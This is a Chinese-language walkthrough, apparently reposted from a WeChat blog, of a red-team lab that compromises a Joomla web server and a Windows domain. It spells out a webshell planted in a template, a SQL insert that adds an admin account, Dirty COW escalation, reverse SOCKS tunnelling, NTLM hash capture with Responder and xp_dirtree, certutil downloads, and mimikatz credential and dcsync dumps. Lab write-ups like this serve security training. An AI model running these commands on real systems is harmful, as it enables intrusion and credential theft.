ATT&CK实战系列——红队实战（三）

admin
admin
admin
102205
文章
87
评论
2023年4月17日01:32:00评论30 views字数 6520阅读21分44秒阅读模式

这套靶场是纯黑盒测试，没给任何一个密码，五台机器直接从挂起的状态开启就好了，做好信息收集，很简单很多

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

环境配置

在web-centos中重启网络获取ip

service network restart

靶场拓扑

ATT&CK实战系列——红队实战（三）

端口扫描

nmap -sV -sS -p- 192.168.3.195


PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.3 (protocol 2.0)
80/tcp   open  http    nginx 1.9.4
3306/tcp open  mysql?
MAC Address: 4C:D5:77:CB:F4:99 (Chongqing Fugui Electronics)

只开放了三个端口，肯定要先看一下80端口，其他两个先放一下

web

ATT&CK实战系列——红队实战（三）

这一看图标就知道是一个Joomla

先扫一下目录，看看有没有意外收获 python3 dirsearch.py -u http://192.168.3.191/

[10:13:16] 200 -   24KB - /1.php                                            
[10:13:16] 200 -    0B  - /2.php                                            
[10:13:24] 301 -  322B  - /administrator  ->  http://192.168.3.191/administrator/
[10:13:24] 200 -    2KB - /administrator/                                   
[10:13:24] 200 -  525B  - /administrator/includes/                          
[10:13:24] 200 -    2KB - /administrator/index.php                          
[10:13:24] 200 -   31B  - /administrator/cache/                             
[10:13:25] 301 -  327B  - /administrator/logs  ->  http://192.168.3.191/administrator/logs/
[10:13:25] 200 -   31B  - /administrator/logs/                              
[10:13:29] 200 -   31B  - /bin/                                             
[10:13:28] 301 -  312B  - /bin  ->  http://192.168.3.191/bin/               
[10:13:30] 301 -  314B  - /cache  ->  http://192.168.3.191/cache/           
[10:13:30] 200 -   31B  - /cache/                                           
[10:13:31] 200 -   31B  - /cli/                                             
[10:13:32] 200 -   31B  - /components/                                      
[10:13:32] 301 -  319B  - /components  ->  http://192.168.3.191/components/ 
[10:13:32] 200 -    0B  - /configuration.php                                
[10:13:32] 200 -    2KB - /configuration.php~                               
[10:13:41] 200 -    1KB - /htaccess.txt                                     
[10:13:41] 200 -   31B  - /images/                                          
[10:13:41] 301 -  315B  - /images  ->  http://192.168.3.191/images/         
[10:13:42] 301 -  317B  - /includes  ->  http://192.168.3.191/includes/     
[10:13:42] 200 -   31B  - /includes/                                        
[10:13:42] 200 -    4KB - /index.php                                        
[10:13:42] 200 -    3KB - /index.php/login/                                 
[10:13:44] 301 -  317B  - /language  ->  http://192.168.3.191/language/     
[10:13:44] 200 -   31B  - /layouts/                                         
[10:13:45] 301 -  318B  - /libraries  ->  http://192.168.3.191/libraries/   
[10:13:45] 200 -   31B  - /libraries/
[10:13:45] 200 -    7KB - /LICENSE.txt                                      
[10:13:47] 301 -  314B  - /media  ->  http://192.168.3.191/media/           
[10:13:47] 200 -   31B  - /media/                                           
[10:13:48] 301 -  316B  - /modules  ->  http://192.168.3.191/modules/       
[10:13:49] 200 -   31B  - /modules/                                         
[10:13:54] 200 -   31B  - /plugins/                                         
[10:13:54] 301 -  316B  - /plugins  ->  http://192.168.3.191/plugins/       
[10:13:56] 200 -    2KB - /README.txt                                       
[10:13:57] 200 -  392B  - /robots.txt                                       
[10:13:58] 403 -  278B  - /server-status                                    
[10:13:58] 403 -  278B  - /server-status/
[10:14:04] 200 -   31B  - /templates/                                       
[10:14:04] 200 -   31B  - /templates/index.html                             
[10:14:04] 200 -    0B  - /templates/system/                                
[10:14:04] 301 -  318B  - /templates  ->  http://192.168.3.191/templates/   
[10:14:04] 200 -    0B  - /templates/beez3/                                 
[10:14:04] 200 -    0B  - /templates/protostar/                             
[10:14:05] 301 -  312B  - /tmp  ->  http://192.168.3.191/tmp/               
[10:14:05] 200 -   31B  - /tmp/
[10:14:09] 200 -  628B  - /web.config.txt

1.php为phpinfo

ATT&CK实战系列——红队实战（三）

可以看到disable_functions是有做限制的，可以通过蚁剑插件来绕过

ATT&CK实战系列——红队实战（三）

在/configuration.php~中发现一组数据库的用户名和密码 testuser:cvcvgjASD!@

ATT&CK实战系列——红队实战（三）

通过此密码可以远程登陆到mysql中，

ATT&CK实战系列——红队实战（三）

可以看到用户的密码是加密的

ATT&CK实战系列——红队实战（三）

通过测试发现testuser这个账户是可以进行增删改查的，那么可以这样: 

通过joomscan进行扫描得到版本为Joomla_3.9.12，下载同版本的joomla安装在本地密码是自己设置的，然后将本地数据库里面的加密的密码拿出来，在目标机器的joomla管理员数据库中添加一个用户admin2密码为本地搭建的joomla的管理员密码。

参考:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    '$2y$10$o59pellLl7DHO9m/Cwv4keoGnJHVnGHhvry0gp7fptX8m6DhcOZXW', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

ATT&CK实战系列——红队实战（三）

然后可以通过admin2账户登陆到joomla的后台 后台地址:http://192.168.3.195/administrator/index.php

ATT&CK实战系列——红队实战（三）

进入后台是可以直接写马的 Extensions–>Templates–>Templates–>Protostar Details and Files->error.php

ATT&CK实战系列——红队实战（三）

访问并测试一下是否成功写马 http://192.168.3.195/index.php/33?1=phpinfo();

ATT&CK实战系列——红队实战（三）

ok，直接上蚁剑，尝试反弹shell，最终以失败告终。

。

。

。


看一下ip，发现只有一个网卡，而且并不是192.168.3.195这台机器，嘶。。。。应该是nginx反向代理了某台机器.

ATT&CK实战系列——红队实战（三）

上fscan扫描一下这个网段 ./fscan -h 192.168.93.120/24 扫描结果:

192.168.93.10:88 open
192.168.93.120:3306 open
192.168.93.100:3306 open
192.168.93.20:1433 open
192.168.93.30:445 open
192.168.93.20:445 open
192.168.93.10:445 open
192.168.93.30:139 open
192.168.93.20:139 open
192.168.93.10:139 open
192.168.93.30:135 open
192.168.93.20:135 open
192.168.93.10:135 open
192.168.93.120:80 open
192.168.93.100:80 open
192.168.93.20:80 open
192.168.93.120:22 open
192.168.93.100:22 open
[*] WebTitle:http://192.168.93.20      code:404 len:315    title:Not Found
[+] NetInfo:
[*]192.168.93.10
   [->]WIN-8GA56TNV3MV
   [->]192.168.93.10
[+] NetInfo:
[*]192.168.93.30
   [->]win7
   [->]192.168.93.30
[+] NetInfo:
[*]192.168.93.20
   [->]win2008
   [->]192.168.93.20
[*] WebTitle:http://192.168.93.120     code:200 len:16020  title:Home
[*] WebTitle:http://192.168.93.100     code:200 len:16020  title:Home
[*] 192.168.93.10  [+]DC TESTWIN-8GA56TNV3MV   Windows Server 2012 R2 Datacenter 9600
[*] 192.168.93.30        __MSBROWSE__WIN7              Windows 7 Professional 7601 Service Pack 1
[*] 192.168.93.20        TESTWIN2008           Windows Server (R) 2008 Datacenter 6003 Service Pack 2
[*] 192.168.93.10  (Windows Server 2012 R2 Datacenter 9600)
[*] 192.168.93.30  (Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.93.20  (Windows Server (R) 2008 Datacenter 6003 Service Pack 2)
[+] mysql:192.168.93.120:3306:root 123
[+] mysql:192.168.93.100:3306:root 123

一共扫描出来五台机器 10的机器为DC，并且存在TEST域 100和120机器均存在mysql弱口令

额。。。好像没有什么可以利用的点 那就翻文件，翻了有一会儿，发现一个/tmp/mysql/test.txt,里面有一组用户名和密码wwwuser:wwwuser_123Aqx

ATT&CK实战系列——红队实战（三）

尝试登录ssh,嗯?

ATT&CK实战系列——红队实战（三）

加一个参数即可(https://blog.csdn.net/weixin_43025071/article/details/128241732)，成功登陆到这台机器上 ssh [email protected] -o HostKeyAlgorithms=+ssh-dss

ATT&CK实战系列——红队实战（三）

查看一下网卡信息，此机器是存在双网卡的

ATT&CK实战系列——红队实战（三）

整理一下

192.168.93.10                       win2012         DC
192.168.93.20                       win7            域成员
192.168.93.30                       win2008         域成员
192.168.93.100/192.168.3.197        centos
192.168.93.120                      ubuntu

此机器的权限很低，尝试进行提权 查看一下机器的内核版本为2.6.32 直接脏牛提权(CVE-2016-5195,https://github.com/firefart/dirtycow) 执行后会添加一个root权限的firefart用户密码为自己设置的

ATT&CK实战系列——红队实战（三）

然后登陆到firefart用户即可，拿到root权限

ATT&CK实战系列——红队实战（三）

上传ew，搞一下代理

攻击机kali:ew -s rcsocks -l 8888 -e 6666 
目标机器centos:ew -s rssocks -d 192.168.3.192 -e 6666

使用kali自带的proxychains，修改一下配置文件/etc/proxychains4.conf

内网

前面已经拿到这台机器的webshell了，直接正向上线msf, 失败了，连接老掉，放弃了。。

直接看几个windows吧

20机器的80端口没有东西， 尝试一下拿前面获取的两组账户密码登录一下mssql，mysql的用户是可以登录的 testuser:cvcvgjASD!@

ATT&CK实战系列——红队实战（三）

ATT&CK实战系列——红队实战（三）

看一下有没有sa权限select is_srvrolemember('sysadmin'),很遗憾没有

ATT&CK实战系列——红队实战（三）

也无法模拟sa进行xp_cmdshell命令执行


思路断了，继续回到centos机器上找一下有没有可用的信息 查看历史命令发现用过Responder

ATT&CK实战系列——红队实战（三）

上传Responder


尝试配合mssql来进行中继攻击， 在centos中使用Responder进行监听eth1网卡，然后通过mssql中的xp_dirtree来访问centos的网络路径

centos:python Responder.py -I eth1
mssql:
execute master.sys.xp_dirtree '\192.168.93.1001',1

即可抓取到hash

拿到hash尝试爆破，爆破了很多字典就是爆不出来,又G了，无奈看了一下wp，密码为123qwe!ASD，这个密码也是可以通过smb爆破来得到的。

 哪位大哥可以说一下123qwe!ASD这个在哪个字典里

直接通过psexec拿到shell proxychains4 python psexec.py administrator:'123qwe!ASD'@192.168.93.20

ATT&CK实战系列——红队实战（三）

上传mimikatz，我用的最笨的方法,先上传到centos然后通过python起一个web服务，然后通过certutil来下载

centos:python -m SimpleHTTPServer 8080
win2008:certutil -urlcache -split -f http://192.168.93.100:8080/mimikatz.exe mimikatz.exe


ATT&CK实战系列——红队实战（三）

ATT&CK实战系列——红队实战（三）

抓一下密码 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

直接拿到域管的密码Administrator:zxcASDqw123!!

ATT&CK实战系列——红队实战（三）

登陆到域控 proxychains4 python psexec.py test/administrator:'zxcASDqw123!!'@192.168.93.10

ATT&CK实战系列——红队实战（三）

使用同样的方法上传mimikatz，然后通过dcsynd导出域内所有hash mimikatz.exe "privilege::debug" "lsadump::dcsync /all /csv" exit

ATT&CK实战系列——红队实战（三）






     ▼
更多精彩推荐，请关注我们
▼


请严格遵守网络安全法相关条例！此分享主要用于学习，切勿走上违法犯罪的不归路，一切后果自付！


ATT&CK实战系列——红队实战（三）



原文始发于微信公众号（鸿鹄实验室）：ATT&CK实战系列——红队实战（三）

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月17日01:32:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   ATT&CK实战系列——红队实战（三）http://cn-sec.com/archives/1672928.html

发表评论

匿名网友 填写信息